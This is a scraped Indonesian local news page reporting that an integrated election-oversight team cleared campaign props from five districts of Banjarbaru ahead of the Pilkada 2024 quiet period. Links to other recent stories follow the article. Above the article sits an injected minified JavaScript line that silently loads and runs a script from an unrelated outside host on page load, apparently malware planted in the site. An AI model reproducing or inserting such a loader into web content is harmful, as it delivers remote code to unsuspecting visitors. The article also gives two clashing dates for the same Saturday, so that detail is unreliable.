(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
pilkada 2024

Masuk Masa Tenang, APK Paslon di Banjarbaru Dibersihkan


KANALKALIMANTAN.COM, BANJARBARU – Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa tenang pada Pemilihan Kepala Daerah (Pilkada) Serentak 2024, Sabtu (23/4/2024) siang.

Tim terpadu terdiri dari Bawaslu Kota Banjarbaru bersama Panwas Kecamatan dan Panwas Kelurahan, KPU Banjarbaru, PPK dan PPS, Satpol PP Banjarbaru, dan Bakesbangpol Banjarbaru
Ketua Bawaslu Kota Banjarbaru, Noor Ikhsan mengatakan, masa tenang akan dimulai pada 24-26 November 2024. Tim terpadu menertibkan APK yang masih terpasang di jalan protokol lima kecamatan di Kota Banjarbaru.

“Penertiban dilakukan di lima titik yang terbagi di lima kecamatan yakni Banjarbaru Utara, Banjarbaru Selatan, Cempaka, Liang Anggang dan Landasan Ulin,” ujar Noor Ikhsan, Sabtu (23/11/2024) siang.

Baca juga: Pemegang Kursi DPRD Banjarbaru Terima Bantuan Keuangan Parpol, Satu Suara Dihargai Rp14 Ribu

Setiap kecamatan dikerahkan sekitar 70 orang yang melakukan penertiban APK termasuk juga APS atau alat peraga sosialisasi. Tim terpadu bergerak melakukan penertiban mulai dari kantor Bakesbangpol Banjarbaru ke titik-titik di masing-masing kecamatan.

“Setiap titik itu estimasi dari peserta untuk mengikuti penertiban ini sebanyak 70 orang, dengan total keseluruhan personel sekitar 350 orang,” sebut dia.

Baca juga: Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

Sementara itu , APK dan APS yang telah ditertibkan nantinya akan ditampung sementara untuk kemudian dimusnahkan.

“Begitu pun sampah kayu-kayu sisa maupun jenis APK seperti banner dapat dimanfaatkan usai masa tenang selesai, dan juga warga bisa membersihkan dengan tidak merusaknya,” jelasnya.

Baca juga: Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

Seandainya masih ada APK dan APS yang tertinggal saat masa tenang, Bawaslu akan berkordinasi dengan jajaran Panwascam untuk kembali menginventarisir dan mencopot secara mandiri. Begitu masyarakat bisa melapor untuk kemudian dapat dibersihkan.

“Namun kita menargetkan, dalam satu hari ini APK dan APS yang tersebar di lima titik kecamatan bisa selesai dibersihkan,” tandas Ikhsan. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Jurnalisme Hijau di Era Digital: Membumikan Kompleksitas Isu Lingkungan Agar Tak Membosankan

KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More

2 jam ago

Bawaslu Kalsel Segera Plenokan Dugaan Pelanggaran Paslon Syaifullah-Habib Ahmad

KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More

3 jam ago

Deteksi Dini Kesehatan IVA Test dan Sadanis di Puskesmas Sungai Malang

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More

4 jam ago

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

8 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

8 jam ago

Akhir Masa Tugas, Pjs Wali Kota Nurliani Membuka Acara Kesehatan

KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More

11 jam ago

This website uses cookies.